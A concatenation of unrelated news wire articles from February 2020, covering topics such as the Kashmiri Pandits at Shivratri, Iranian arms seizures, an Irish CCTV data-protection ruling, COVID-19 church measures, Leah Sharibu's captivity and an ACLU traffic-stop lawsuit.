hid them in his house. He subsequently informed his wife about the incident. His wife returned with him to the hotel to report that armed robbers had attacked him and Comfort at the hotel. citinewsroom Srinagar, Feb 21 : Ever since the Pandit community left the Kashmir Valley in early 1990, Mahashivratri, locally known as 'Hairat'; it has become a grim reminder of the injury inflicted on the multi-religious, eclectic character of Kashmir by violence. Bashir Ahmad Rather, 65, is a sad man as he calls his friends in Jammu to greet them on 'Hairat'. Rather served in a rural bank for 40 years where many of his colleagues belonged to the local Pandit community. "I would buy walnuts for Daftari Sahib and those walnuts formed part of the Puja done by Daftari's family on Hairat. "I hardly remember a Shivratri when I did not have food at my Pandit friend's home. Fish cooked with tomatoes and lotus stems called 'Nadru' formed an essential part of the Hairat feast in every Pandit household. "The eldest lady of the family would serve food to her children and Muslim guests with such maternal affection that the borders defined by religion and faith did not seem to exist. "Daftari's mother was like a mother to all his Muslim friends and not once did she give a faint impression that she loved her son's Muslim friends less than her son. "That motherhood, that brotherhood, that trust and amity have suffered colossal damage," Rather said. There are very few families of local Pandits who still continue to leave in the valley. Administration has made special arrangements to make fish, chicken and other essentials of life available to the Pandit families on this Shivratri, but the spirit of Hairat cannot be rekindled by just fish, chicken and Nadru. "Bridges between the two communities have to be rebuilt by the local Muslims and Pandits. "No administrative effort, however, honest and mighty can bring the magic and miracle of Hairat back unless Kashmiris strive hard to heal the wounds suffered by them during the last three decades. "The biggest loss is not of property and land left behind by our Pandit friends. The real loss is that we have collectively lost our innocence. "The lofty ideals of tolerance, co-existence and brotherhood are no longer there for us to claim. "It will take ages for us to reclaim that innocence," said Abdul Rashid Sheikh, another retired officer who lives in Ganderbal district. Union Home Minister Amit Shah recently told a delegation of Kashmiri Pandits that they would be brought back to Kashmir with honour and security. The most dependable and everlasting guarantee of honour and safety has to come from the Kashmiri Muslims who are increasingly feeling the loss suffered by Kashmir because of Pandit exodus. "We welcome our Pandit neighbours and friends with open arms. Kashmir belongs to both of us and unless they come back and live alongside us without any fear, Kashmir won't regain its lost innocence," said Mehrajuddin, a local engineer. In a nutshell, this year's Shivratri festival has brought back memories those stand in good stead to prove that Kashmiri Muslims miss their Pandit brothers as much as the latter do while living in exile in their own country. U.S. Says Iran Continues To 'Smuggle' Weapons To Huthi In Yemen By RFE/RL February 20, 2020 The U.S. military says Iran is continuing to send "advanced weapons" to Yemen's Huthi rebels as part of their fight against the Saudi-backed government in the war-torn nation. The comments on February 19 came just more than a week after the U.S. Navy seized advanced weapons and weapon components believed to be of Iranian "design and manufacture" intended for the rebels in Yemen. It was the second such seizure of dhow vessels that were sailing without a flag following a previous such incident on November 25. Iran denies supplying the mainly Shi'ite Huthi rebels with arms, despite evidence displayed by U.S. and Saudi officials that it does. "The [latest] seizure is consistent with a historical pattern of Iranian smuggling of advanced weapons to the Huthis in Yemen," Captain Bill Urban of U.S. Central Command -- which is responsible for U.S. forces in the Middle East -- told a briefing at the Pentagon. Urban said Washington believes that Iran has been providing weapons to the Huthi rebels for the last five years, which he said has helped prolong the deadly conflict. He displayed photos of the seized weapons and said they came from Iran and were intended for the Huthis. He said the USS Normandy on February 9 found 150 "Dhelavieh," Iranian-made copies of the Russian Kornet antitank guided missile and three Iranian-designed and manufactured surface-to-air missiles. The November seizures included the same type of missiles ,along with a large number of spare parts for cruise missiles, he added. Urban said U.S. experts had "high confidence" the weapons "were being illicitly smuggled to the Huthis in Yemen in contravention of multiple UN Security Council Resolutions." Yemen's internationally recognized government, which is supported by a Saudi-led military coalition, has been involved in a protracted war with Huthi forces since 2014. The rebels have seized much of the nation's northwest and its capital, Sana, in the war that has killed more than 10,000 people and created a humanitarian nightmare in the Arab world's poorest country. Many people have called the fight a proxy war between Sunni Muslim Saudi Arabia and Shi'ite-led Iran. With reporting by AFP, Stars & Stripes, and The New York Times Source: https://www.rferl.org/a/us-says-iran- continues-smuggle-weapons -huthi-yemen/30444599.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The Federal High Court in Kano on Friday dismissed the preliminary report of the state Public Complaint and Anti-corruption Commission (PCACC) which recommended the suspension of the Emir of Kano, Muhammad Sanusi II, pending investigations into alleged financial misappropriation of the emirates funds. Justice O. A. Egwuatu said PCACC did not give the emir an opportunity to be heard before releasing the report on him, adding that such an omission was against the principle of fair hearing. The emir had sued PCACC, the governor of Kano State and the state Attorney-General. He asked the court to declare that the findings of PCACC contained in its preliminary report issued on June 6, 2019, were a breach of his fundamental right to fair hearing and contrary to the rules of natural justice. Mr Sanusi also asked for an order of the court to quash the preliminary report as it relates to his indictment for fraud, misappropriation, as well as the recommendation for his suspension by the commission. READ ALSO: While granting the emirs prayers, the court equally awarded him a cost of N200, 000. Earlier on Wednesday, the Kano State High Court presided by Justice Sulaiman Na-Mallam had also restrained the state Public Complaint and Anti-Corruption Commission from continuing to investigate Mr Sanusi. The preliminary report issued by the commission had asked Kano State government to suspend Mr Sanusi pending the final outcome of investigation of alleged financial misappropriation of emirates fund amounting to over N3.5 billion. Counsel to the emir, Suraj Saida, presented an ex- parte application requesting the court to restrained the anti-corruption commission from continuing with its investigation against the emir. The probe was criticised as an attempt by Governor Abdullahi Ganduje to punish the monarch over his alleged support for Abba Yusuf of the opposition People Democratic Party (PDP) in the 2019 governorship election. The emir denied that he supported the PDP candidate in the poll. Mr Ganduje also carved out four emirates, Gaya, Rano Karaye and Bichi from Emir Sanusis kingdom, apparently to curtail the monarchs influence. A hospice employee has won a High Court appeal over the use of data from CCTV footage in a disciplinary investigation into unauthorised breaks and staff room graffiti saying "Kill all whites, ISIS is my life". Cormac Doolin, a craftsman's mate at Our Lady's Hospice and Care Service in Harold's Cross, Dublin, had appealed a Circuit Court decision that his data rights were not breached as a result of the use of information from CCTV footage for a disciplinary investigation into the graffiti and into the taking of unauthorised breaks in the hospice staff room. Today, Ms Justice Niamh Hyland allowed his appeal saying there was no evidence for the Circuit Court conclusion that the CCTV footage, or material derived from it for the disciplinary hearing, was for security purposes. She also found the Data Protection Commissioner, against whom Mr Doolin brought the original appeal over the use of the information, made an error of law in holding that no further processing of the CCTV data took place. The Commissioner's conclusion was founded on an incorrect interpretation of "processing" under the terms of the Data Protection Act 1988, she said. The judge did not accept the Commissioner's claim that such a finding would be draconian and seriously hamper investigations of this type. She said a sign beside the CCTV camera at the time of the graffiti incident in November 2015 said "images are recorded for the purposes of health and safety and crime prevention". By August 2016, the hospice had amended this policy to state the system was to prevent crime and promote staff security and public safety. It added: "If, in the event of viewing CCTV for the specified purpose, a disciplinary action is observed, the CCTV can be used for the purpose of a disciplinary investigation. However, CCTV will not be viewed solely for the purpose of monitoring staff. Ms Justice Hyland said if at the time of the graffiti incident that new policy was in operation "none of the above difficulties would have arisen." Where purposes for the use of CCTV are clearly identified, and assuming all other permissible purposes under the law, then the use of such material is likely to be uncontroversial, she said. She was therefore overturning the Circuit Court decision as there was no evidence for the conclusion that the disciplinary action against Mr Cummins, in which information from the CCTV footage was used, was carried out for security purposes. Mr Doolin, of Leighlin Road, Crumlin, Dublin, became subject of a disciplinary investigation in November 2015 into "an offensive graffiti message" carved into a table in the staff room and the use of unauthorised breaks. At an investigation meeting on December 1, Mr Doolin said "if work got on top of us, we would take a break" and go to the staff room. He accepted he should have said he was taking a break to his manager. He declined to watch the CCTV at that time. Later he made a complaint to the Data Protection Commissioner that data retrieved from the CCTV was used in an incorrect/unfair manner that led to an illegal sanction against him. The hospice argued there was a legitimate justification to access and view the footage. The Commissioner found that while the information gathered from viewing the footage may have been used for a purpose other the the initial one of investigating a security incident, the use of them in disciplinary proceedings did "not constitute a different purpose". Mr Justice Hyland said there was a "surprising shift" by the Commissioner during the life of the proceedings from asserting initially there was no further processing of the footage "to asserting in these proceedings (there was) no breach because any further processing was done for the purpose for which the material was collected, ie security". The idea that the information from the CCTV in the context of disciplinary proceedings was for security purposes rather than disciplinary "does not find a basis in any of the material before me. There is simply no evidence at all to this effect", she said. The judge adjourned the matter to next week to allow the parties to consider her judgment and to argue whether it should be sent back to the Commissioner for further consideration. The University of Tennessee at Chattanooga wrestling team closes out the 2019-20 dual season at home against Indiana on Friday, Feb. 20. The Mocs host the Hoosiers for Senior Night at 7:00 p.m. (E.S.T.) in McKenzie Arena.Chattanooga brings a 6-9 record to the final dual of the season. The Mocs are currently in third in the SoCon race with a 4-2 league tally, trailing Campbell (10-2, 6-0 SoCon) and Appalachian State (8-3, 5-1 SoCon).Indiana is 2-9 overall and 1-8 in Big 10 action. The Hoosiers have several common opponents with the Mocs, including a 41-0 loss to No.1 Iowa on Jan. 10, 32-3 loss to Illinois on Jan. 12 and a 24-11 win over Southern Illinois-Edwardsville in their last outing on Feb. 16.Seniors appearing in their final home dual are George Carpenter, Chris DebienRodney Jones, Dominic Lampe and Ben Stacey.Fridays match broadcasts live on ESPN+, with Chris Goforth (pxp) and Torrez Finney (analyst) on the call. Links for the broadcast and TrackWrestling scoring are available on the wrestling schedule page on GoMocs.com.CHATTANOOGA PROBABLE LINEUP125: No. 16 Fabian Gutierrez (Jr. 16-7)133: Wade Cummings (Jr. 7-8)Colton Landers (So. - 10-6)141: Mason Wallace (So. 7-8)Aiden Murphy (So. 4-12)149: No. 23 Tanner Smith (So. 221-7)157: Tyler Shilson (So. 8-13)George Carpenter (Sr. - 4-7)165: Drew Nicholson (So. 14-14)174: Hunter Fortner (So. 9-15)184: No. 13 Matthew Waddell (So. 20-7)197: Rodney Jones (Sr. 16-9)285: Grayson Walthall (So. 6-19) A date for the next Stormont Budget is expected to be finalised next week, with Finance Minister Conor Murphy admitting there are "significant challenges". Mr Murphy is to bring a paper to the Executive on Monday to decide when the Budget would be presented to the Assembly. New Chancellor Rishi Sunak is expected to deliver Westminster's Budget on March 11. Mr Murphy is to travel to London for meetings with Treasury officials next week amid a backdrop of warnings of the severe financial pressures facing Stormont departments. Earlier this week it was warned that Northern Ireland's public transport system could collapse without extra cash. Mr Murphy told the BBC: "It's up to each department how they express various pressures, some people have chosen to do it with me behind closed doors, others have chosen to be more upfront about it. "There are no secrets about any of this - there are significant challenges and I have been tasked by the Executive to go to the Treasury to engage with them to secure that funding." Mr Murphy was also asked about his offer to meet the family of murder victim Paul Quinn. The South Armagh MLA said his offer to meet the family still stands and he hoped he could have discussions with them. A clock hangs above chairs inside a waiting room at a hospital during a government organised visit for foreign reporters in Pyongyang in a file photo. A North Korean hospitals hasty cremation of a dozen patients it said had died of the flu and not of the novel coronavirus (COVID-19), has raised fears and suspicions among the public living near the hospital, RFA has learned. The swift cremation, which goes against the custom of returning the body to families, and the subsequent sterilization of the entire hospital have drawn attention to the hospital in Chongjin, the countrys third-largest city. On Feb. 9, a series of deaths occurred at the Provincial Peoples Hospital in Chongjin, where patients were being treated for pneumonia and flu-like symptoms, an official from North Hamgyong province told RFAs Korean Service Tuesday. With the death of 12 patients in a two-day period, quarantine authorities and residents in Chongjin are on high alert, said the source. The Provincial Peoples Hospital is the largest medical facility in the province and the patients were hospitalized there earlier in the month when they developed flu and pneumonia-like symptoms, according to the source. The hospital failed to cure them of the flu and pneumonia, so 12 died and the hospital cremated the bodies and delivered the remains to their families, said the source. This act of cremation seemed suspicious to the source. In North Korea, no hospital, including the Provincial Peoples Hospital, would cremate the body if a patient dies, the source said. But this time, when the families expected to receive the bodies, they were given the cremated remains, and the hospital building was completely disinfected several times. They said [both procedures] would prevent the spread of the flu virus, the source added. The hospital has denied any connection to COVID-19, according to the source, but residents of the surrounding area are not so sure. [They] are feeling uneasy as more than 10 flu patients have died, the source said. The hospital only says that the deaths were caused by flu and pneumonia, but suspicions are growing because of the sudden cremations, the source said, adding, [They] suspect that that the patients died from pneumonia caused by the new coronavirus. While a cover-up has not been confirmed, the source said that deliberately misleading the public would cause people to lose confidence in not only the hospital, but the government too. Recently the Central Party has been saying that we need to take serious steps toward preventing the spread of coronavirus. If the Provincial Peoples Hospital is hiding the truth, it is going against the Central Partys policy and deserves to be punished, the source said. RFA attempted to contact the World Health Organization (WHO) about the mysterious deaths in Chongjin and whether they were related to coronavirus, but as of Thursday there was no response. The WHO reported on Tuesday that there were no signs of coronavirus infection in North Korea. Authorities in North Korea say that the country still has no confirmed cases of COVID-19. South Koreas Yonhap news said Thursday that the WHO is virtually the only official channel that has a presence in North Korea that could confirm an outbreak, but as its data is based on reports from each member country, it is possible that the organizations data on North Korea lack credibility. Reported by Jieun Kim for RFAs Korean Service. Translated by Leejin Jun. Written in English by Eugene Whong. New Delhi, Feb 21 : Clamour is growing within the Congress for appointment of a full time President with several leaders claiming a "leadership crisis" within the party but the party has rejected the charges. "I don't think there is a 'leadership crisis'. Sonia Gandhi is the party's interim President and the decisions are being taken in party," senior party leader Anand Sharma said. He asserted that the Congress Working Committee, the party's highest decision-making body, appointed Sonia Gandhi as interim chief in August last year and "it will take a call when the party feels like". Party sources said that Rahul Gandhi is likely to return as Congress President in April. Meanwhile, a party leader said that the Delhi Assembly elections - where the party again failed to win even a single seat - should not be seen as a parameter for the Congress as the party has won many state elections after the Lok Sabha polls. Many party leaders have been demanding the appointment of the new party President, including Shashi Tharoor. "I renew my appeal to the CWC to hold leadership elections to energise workers and inspire voters," he said. Tharoor also advocated elections for the CWC which are not being held for many years with the Congress President appointing the members. "Some have asked who should vote for what. I was referring to my earlier call -- eight months ago -- for elections among the 10,000 party workers who constitute the 'AICC plus PCC delegates' list. These should be for the elected seats in the CWC as well as for the party's presidency," he said. Many Congress leaders have suggested that the party should look beyond the Gandhi family and move on as there is no dearth of leadership in the party. But rejecting this, a party leader said: "The leader must be accepted from Mizoram to Porbandar and the party is considering all the factors... The leader has to be a homogeneous entity accepted to all. "So nobody can guide us to choose our leader. It is the party which will decide who will lead us. And not somebody from outside." Maharashtra leader Sanjay Nirupam said: "It is an inane discussion. No one from outside the family can lead Congress at this juncture. Rahul Gandhi is the only leader who can lead the party and can save it. Other leaders are just group leaders... such leaders at the helm will encourage more groupism. Period!" Nirupam's reaction came after late Delhi Chief Minister Sheila Dikshit's son, Sandeep Dikshit, in an interview, questioned the party's "continued inaction" mode. He also named senior leaders who should contribute "more" in the decision-making. While the Congress has reacted sharply to Tharoor and other leaders' statements, chief spokesperson Randeep Surjewala said: "Those who are talking of CWC should go and read the resolution which appointed Sonia Gandhi as interim head of the party." Latest updates on Gandhi Jayanti 2019 Representative Doug Collins (R., Ga.) on Thursday said he would not accept the post of director of national intelligence if it was offered to him by President Trump, and added that he plans to remain in the Georgia Senate race. This is not a job thats of interest to me at this time, and its not one that Id accept, Collins said on Fox Business. Everybody knows Im a supporter of the president, they know how much I supported him through sham impeachment and everything elsebut Im running against a senator who was just newly appointed who decided to support the president three weeks before she got the appointment. Collinss comments came almost immediately after Trump told reporters he was considering nominating the Georgia representative for national intelligence director. If the Senate confirmed Collins, that would remove him from the special election against Senator Kelly Loeffler (R., Ga.). In December, Georgia Governor Brian Kemp, a Republican, appointed businesswoman Loeffler to the Senate seat vacated by Johnny Isakson, who resigned due to health issues. Kemp bucked President Trump and allies who wished for Collins to take the seat, reportedly because he believed Loeffler would appeal to suburban and women voters. Collins, a staunch defender of Trump throughout the House impeachment inquiry, decided to challenge Loeffler in an intra-Republican battle for the Senate seat. The shortsightedness in this decision is stunning, the National Republican Senate Committee said in a statement in January. All [Collins] has done is put two Senate seats, multiple House seats, and Georgias 16 electoral votes in play. The NRSC stands firmly behind Sen. Kelly Loeffler. More from National Review Wearing protective masks has been a common way of avoiding infection by COVID-19 . (AFP or licensors) In a liturgical guideline, the Catholic Bishops Conference of the Philippines (CBCP) suggested that for Ash Wednesday ashes be sprinkled on the crown of the head instead of marking the forehead with a cross to avoid body contact. By Robin Gomes The Catholic Church of the Philippines is taking action during Lent to reduce the transmission of COVID-19 or coronavirus in the country where 3 have been infected and on has died. In a liturgical guideline, the Catholic Bishops Conference of the Philippines (CBCP) suggested that for Ash Wednesday, ashes be sprinkled on the crown of the head instead of marking the forehead with a cross, to avoid body contact. The 40-day Lenten period starts with Ash Wednesday, which this year falls next week, February 26. CBCP president, Archbishop Romulo Valles of Davao, said that the imposition of ashes on the head signify our repentance from sin, which has marred the grace of Baptism. This is not an innovation but in accord with the ancient practice of the Church, Archbishop Valles explained. On Good Friday, during the celebration of the Passion of the Lord, the CBCP strongly recommended that churchgoers refrain from kissing or touching the cross for veneration. Instead, the faithful are requested to genuflect or make a profound bow as they venerate the cross, Valles said. The new guideline is the second one released by the CBCP amid the COVID-19 threat. Last month, the CBCP suggested that the communion in the hand be practised ordinarily and discouraged the faithful from holding hands when they pray Our Father during the Mass. The bishops also issued an oratio imperata (obligatory prayer) against the spread of COVID-19, which has infected more than 75,000 people worldwide in more than 24 countries, mostly in China, where about 2,100 deaths have been reported. As the Philippines begins the Lenten season, the CBCP head reminded the faithful of the constant call for renewal in our Christian life by self-control, charity and prayer. Our charity is also expressed in our concern for the well-being of our brothers and sisters, thus our utmost care and efforts towards the prevention of the spread of COVID-19, he said. Asian Churches adopt measures Other Asian Churches have also taken measures against the spread of the virus. The Church in Hong Kong has issued a general dispensation from Mass obligation for the faithful. It announced the suspension of public Masses on Sundays and weekdays from 15 to 28 February and cancelled the Ash Wednesday liturgy. The Archdiocese of Singapore has indefinitely suspended public Masses until further notice, encouraging the faithful, instead, to fulfil their obligation by following the Mass on radio and YouTube. The Catholic Bishops Conference of Myanmar (CBCM) on February 6 postponed the annual celebration of the feast of Our Lady of Lourdes that was scheduled February 7-16. It said the dates of the popular celebration which has been held in Nyaunglebin in Yangon Archdiocese since 1902, would be announced later. In South Korea, the dioceses of Seoul, Incheon, Jeonju, Suwon and Uijeongbu have put restrictions on liturgy and gatherings as they joined state efforts to check the virus that has infected 51 and caused 1 death in the country. The dioceses have instructed the faithful to take special care to prevent the spread of the virus during Sunday Masses and other such gatherings where people gather in large numbers. (Source: CBCPNEWS) BAKU, Azerbaijan, Feb.21 By Tamilla Mammadova Trend: Georgia exported 20,075 tons of copper ores to China in a total amount of $40.1 million in January 2020, Trend reports referring to National Statistics Office of Georgia (Geostat). In the reporting period, Georgia exported 186.9 tons of wine of fresh grapes worth $678,800 to China. Over the same period of 2019, 390 tons of wine totaling $1.4 million was exported from Georgia to China. Meanwhile, 0.9 tons composite diagnostic or laboratory reagents worth $410,700 were exported from Georgia to China. This is $282,200 more compared to January 2019. During the reporting period, Georgia exported 241.7 tons of ginger, saffron, turmeric, thyme, bay leaves, curry and other spices in the amount of $581,800 to China. During January 2019, export of ginger, saffron, turmeric, thyme, bay leaves, curry and other spices from Georgia to China amounted to 94.9 tons totaling $153,700. Meanwhile, Georgia exported 579.8 tons precious metal ores and concentrates worth $1.4 million to China. China ranks second in Georgias commodity circulation. In January 2020 the foreign trade turnover between Georgia and China amounted to more than $109.3 million, which is 12.4 percent of the total trade turnover of Georgia. During the reporting period, Georgia exported products worth $44.3 million to the Chinese market, which is 16.9 percent of total exports from Georgia. Meanwhile, China exported products worth $64.9 million to the Georgian market, which comprises 10.5 percent of total import to Georgia. --- Follow the author on Twitter: @Mila61979356 Nigeria vows to 'redouble' efforts to free Leah Sharibu 2 years after Boko Haram abduction Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Wednesday marks two years since Christian schoolgirl Leah Sharibu was abducted along with 109 of her classmates from her school in northeast Nigeria by a faction of the Islamic extremist group Boko Haram. Although most of her classmates were later released by the Islamic State West Africa Province a breakaway group of Boko Haram Sharibu, then 14 years old, was not. She was reportedly held back from her classmates in 2018 because she refused to recount her faith in Christ. Despite recent reports that Sharibu married a Boko Haram commanders son and gave birth to a child, Sharibus family and their global supporters have not given up hope that the 16 year old will be freed one day. In a statement shared with The Christian Post and other media outlets Tuesday, Nigerian President Muhammadu Buhari restated his vow to secure Sharibus release. Now aged 16, Leah remains in the hands of the terrorists they say because she refuses to renounce her Christian faith, Buhari said. We say, as the government for and of all Nigerians, that no person has the right to force another to change their faith against their will and that all life is sacred. Buhari assured that the federal government is continuing efforts to secure Sharibus release as well as all other captives of the Borno-based terror factions that have terrorized the Lake Chad region for the past decade. [W]e do so regardless of their creed or the name of their creator, the Muslim president said. As we as redouble our efforts for Leahs return, we can never allow the terrorists to divide us Christian against Muslim, Muslim against Christian. We are all sons of Abraham. And all Nigerians have the same worth and rights before the law, and before God. Despite his vow, Buhari has been criticized by international human rights advocates who say that his words do not match his administrations actions. Just last week, Nigerian President Muhammadu Buhari claimed the Nigerian government is committed to ensuring that every child taken by insurgents will be released. Two years after Leah was taken, the world wants to see action rather than talk, Dede Laugesen, executive director of the nonprofit organization Save the Persecuted Christians, said in a statement. Nathan Sharibu, Leahs father, told Channels Television in an interview Tuesday that it is due to [the governments] lapses that his daughter has spent two years in captivity. [Buhari] also promised the nation and almost promised the whole world that his administration will do its possible best to ensure that those in captivity are released, Nathan Sharibu was quoted as saying. So, Im pleading with him now to fulfill his promise; Im begging him. Sharibu's mother, Rebecca, spoke at a protest Wednesday organized by Christian Solidarity Worldwide outside the Nigerian High Commission in London. Rebecca Sharibu delivered a petition to the commission signed by over 12,132 people calling on the Nigerian government to take action. Today Leah has spent two years in captivity. We dont know where Leah is. We don't know the condition or the situation that Leah is in," Rebecca Sharibu said at the protest. "I'm pleading with [the U.K.] government and with our Nigerian government, with President Buhari ... to fulfill his promises that he has made to me personally, that he is going to rescue Leah and ensure that she is released, and not just Leah, all the others in captivity. Cece Heil, senior counsel with the American Center for Law and Justice, said Wednesday that while Buharis words are encouraging, Nigerias government has done very little to secure Leahs release. Citing knowledgeable government sources, the Nigerian daily newspaper Vanguard reported this week that the Nigerian federal government made an effort during the early days of Sharibus abduction to pay a ransom through a third party to secure Sharibus release. However, the ransom agreement was reportedly rejected by her abductors. In 2018, a friend of the Sharibu family told media outlets that the terrorists demanded the equivalent of $275 million for their daughters release. Ama Onyerinma, the founder of the social change organization Live Abundantly, has also criticized Buhari. Onyerinma told The Guardian that even though there was much media coverage surrounding the news that Sharibu gave birth to a baby earlier this year, there was no comment from the Nigerian government or any of its related agencies. The sinister aspect of this regrettable and despicable tale is that the victims are girls school girls who were left in the safety of their school compound under the watchful eyes of administrators, Onyerinma said. [Y]et terrorists succeeded in violently snatching them from the community and have continued to hold them under coercion. Two months after the Dapchi schoolgirls abduction in February 2018, the U.N.'s Children's Fund reported that at least 1,000 children had been kidnapped by Boko Haram. Among those were over 276 schoolgirls kidnapped by Boko Haram in the town of Chibok in 2014. Despite an international #BringBackOurGirls campaign over the past five years, dozens upon dozens of those girls are still missing. Reports had suggested that a number of the schoolgirls kidnapped by Boko Haram had become pregnant. As for Sharibu, her family has been through many hardships, especially after news reports suggesting that their daughter was killed were followed by reports that she is alive and pregnant. Last week, Buhari told attendees of a side event of the 33rd African Union Summit in Ethiopia that his government will not relent until every child, boy or girl, every Nigerian adult in custody of Boko Haram, is freed. Buhari praised the fact that some of the schoolgirls from Dapchi and Chibok have gained their freedom. Leahs parents have founded The Leah Foundation, an organization that advocates for Nigerian girls seeking an education without fear of harm. UNICEF reported in December 2018 that as many as 13 million children in northern Nigeria are not in school, the highest total in the world. Most of the out-of-school children live in the northern states of Borno, Adamawa and Yobe, where Boko Haram is active. Experts fear that a large number of out-of-school children will impact Nigerias economic growth. Nigerias youth face massive hurdles regarding education, employment and dire poverty, Laugesen explained. As weve seen in other countries, this means they are ripe for radicalization and vulnerable to violence and abuse. The nation itself is blessed with enormous natural resources, most especially oil, making it a target for terrorist groups and state-actors looking to profit from corruption and chaos. STPC, along with the International Committee on Nigeria and other activists, are calling on U.S. President Donald Trump to appoint a special envoy to monitor the situation in Nigeria and the Lake Chad Region. The United States must get ahead of this burgeoning crisis of international concern with grave national security implications, Laugeson stressed. If Nigeria unravels, the fallout will be felt worldwide. The appointment of a trusted, experienced diplomat as a U.S. special envoy to Nigeria and the Lake Chad region is a good place to start. The Nigerian government has also faced international criticism for what has been labeled an ineffective response to the increasing violence carried out by Boko Haram factions and Fulani radical attacks. Insecurity has led to Nigeria becoming one of the most dangerous countries to live in the world. As Nigeria ranks as the 12th-worst country in the world on Open Doors USAs 2020 World Watch List of countries where Christians are most severely persecuted, Nigeria was added to the U.S. State Departments special watch list of countries that tolerate or engage in severe violations of religious freedom in December. A federal lawsuit alleges police in the small Lehigh River town of Jim Thorpe had no legal basis for a traffic stop that led to efforts to deport a Philadelphia man. The American Civil Liberties Union of Pennsylvania filed the suit last week over the traffic stop around mid-morning on Feb. 13, 2018. The ACLU says its client, Joaquin Marte, was pulled over with two co-workers in a work van while the three men -- all of Latino descent -- were in town to install a deck on a home. Police said they stopped the van because the license plate was obscured by a clear plastic cover, according to the ACLU. The suit claims the basis for the stop was bogus, and that police were able to read the plate and run a check prior to the stop. No one was cited as a result of the stop, but police took the three co-workers into custody in handcuffs, the suit states. About three hours later, two U.S. Immigration and Customs Enforcement officers arrived at police headquarters and took Marte to Lehigh County Jail, then to York County Prison. Marte, of Philadelphia, was eventually released on bail set by an immigration judge and placed into removal proceedings, the ACLU says. The agency declined to comment Thursday on Martes immigration status or nationality. The reality in this case is that Jim Thorpe police initiated this traffic stop because the people in the vehicle were Latino, Reggie Shuford, executive director of the ACLU of Pennsylvania, said in a news release Thursday. The suit argues police officer Kyle Oliver and a second, unidentified officer stopped the van without reasonable suspicion then illegally detained Marte without probable cause. The ACLU further alleges the borough failed to properly train its police officers on the well settled law that a persons presence in the United States in violation of immigration laws, standing alone, is not a crime ... and, thus, stopping someone based on nothing more than possible removability ... does not provide the usual predicate for an arrest. Police in Jim Thorpe, the seat of Carbon County government and home to 4,659 people according to a 2018 estimate, are increasingly likely to encounter Latino people, according to the suit. From 2000 to 2017, the foreign-born population in Pennsylvania nearly doubled and accounted for 76% of the states population growth, the suit states: In the last 20 years, Allentown and Hazleton -- two cities closest to Jim Thorpe -- grew to become majority Latino cities. Jim Thorpe's solicitor, James Nanovic, declined to comment Thursday, saying he had not read the lawsuit. Oliver, the police officer named in the suit, deferred comment to the police chief, who did not immediately return a message seeking comment. The suit demands a jury trial, and seeks compensatory and punitive damages and attorney fees. This is the second lawsuit the ACLU of Pennsylvania filed in the past year against police alleging improper enforcement of federal civil immigration law. Last summer, the group filed a civil rights lawsuit against Pennsylvania State Police and seven troopers for a series of racially biased traffic stops, the ACLU says in a news release. In August 2019, the ACLU of Pennsylvania settled a long-running lawsuit for $175,000, challenging an Allegheny County police departments mistaken arrest of a Latina woman who was an American citizen. Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com. Follow him on Twitter @KurtBresswein and Facebook. Find lehighvalleylive.com on Facebook. ROME, N.Y. The Rome chapter of the Catholic Daughters of the Americas recently donated various gifts to students at the Upstate Cerebral Palsy Rome Tradewinds Education Center. A reception was held so the women could visit with the students and distribute the gifts. Often a gift, no matter how small, is so appreciated and can make such a difference in our childrens lives. The opportunity to eat at a restaurant or to go shopping for themselves helps our students foster a sense of confidence and builds independence, creating wonderful moments, said Patti Carey, vice president of school age services at UCP. The organization has been donating to UCP students for more than 10 years. Russia on Friday hailed a historic agreement between the United States and the Taliban as an important event for peace in Afghanistan. Moscows Afghanistan envoy, Zamir Kabulov, told state news agency RIA Novosti he would take part in the signing ceremony on February 29 if invited. It will be an important event for the peace process in Afghanistan, he added. Washington and the Taliban said they would sign the accord provided a week-long partial truce holds. The agreement would mark a major turning point in the conflict, setting the conditions for a deal that could ultimately see US troops pull out of Afghanistan after more than 18 years. Kabulov said Moscow hoped that nothing would stand in the way of the accord, urging all sides in Afghanistan to begin dialogue after the conclusion of the deal. The real work will start afterwards, he was quoted as saying. This phase is important to us. Thats why the signing of the agreement between the United States and Taliban is necessary and important. Photo Illustration by The Daily Beast/Getty Its not unheard-of for members of Congress to resign their seats because of serious legal trouble. Now Republican House candidate Danielle Stella is trying to achieve the inverse: getting elected to Congress while being wanted by the law. Stella, one of the five Republicans competing for the right to take on Rep. Ilhan Omar (D-MN) in November, has been wanted for months on an arrest warrant for felony shoplifting. Even while facing arrest, though, shes managed to achieve a respectable fundraising haulnearly $84,000 as of the end of 2019and built up a following on social media, where, well, shes made some waves. Stella first stirred the pot in July over tweets suggesting she supports the QAnon conspiracy theory, which claims that Trump is engaged in a ceaseless secret war against high-ranking pedophile-cannibals in the halls of power. At the same time, The Guardian reported that she had been arrested twice in the Minneapolis areas Hennepin County on shoplifting charges, including an allegation that she stole $2,300 from Target. Stella insisted she didnt break the law. According to records, though, Stella failed to show up for multiple October court hearings about her alleged felony. After Stella missed another hearing, a judge issued a still-outstanding warrant for her arrest. We can confirm that she does have an active felony theft warrant in Hennepin County, a spokesman for the Hennepin County Sheriffs Office told The Daily Beast. Stella didnt respond to requests for comment. Stellas primary rivals have watched her mounting legal woes with surprise. Lacy Johnson, an entrepreneur who has raised nearly $500,000 in his own bid for the Republican nomination, said that negative headlines about Stella could undermine whoever eventually faces Omar in the general election. The eventual Republican nominee already faces a steep challenge in the district, which heavily favors Democrats. Candidates are reflections of the party in a way, and its not a good reflection of the party in a sense, Johnson said. But now, being in politics, you do learn that people do have all kinds of ways of looking at things. Story continues Sheriffs deputies arent the only ones interested in Stellas whereabouts. Questions about her location flared anew over the weekend, when a conspiracy theorist with 50,000 YouTube subscribers claimed with no evidence during a livestream that Stella was in some unspecified danger at a hotel in Osceola, Wisconsin. Callers from across the country deluged the Osceola hotel with calls, and police were called to the scene. A spokeswoman for the Osceola Police Department declined to share an incident report about the event, citing an open investigation. Stella is facing obstacles beyond the courtroom, too. In November, Twitter suspended her campaign account after she repeated a fringe allegation that Omar is an Iranian government asset and claimed that Omar should be tried for #treason and hanged if the allegation was true. Despite all the legal attention, Stella continues to operate her campaignat least online. In addition to raising money for her campaign, Stella has posted messages to her supporters on Facebook and Instagram, including promotional memes 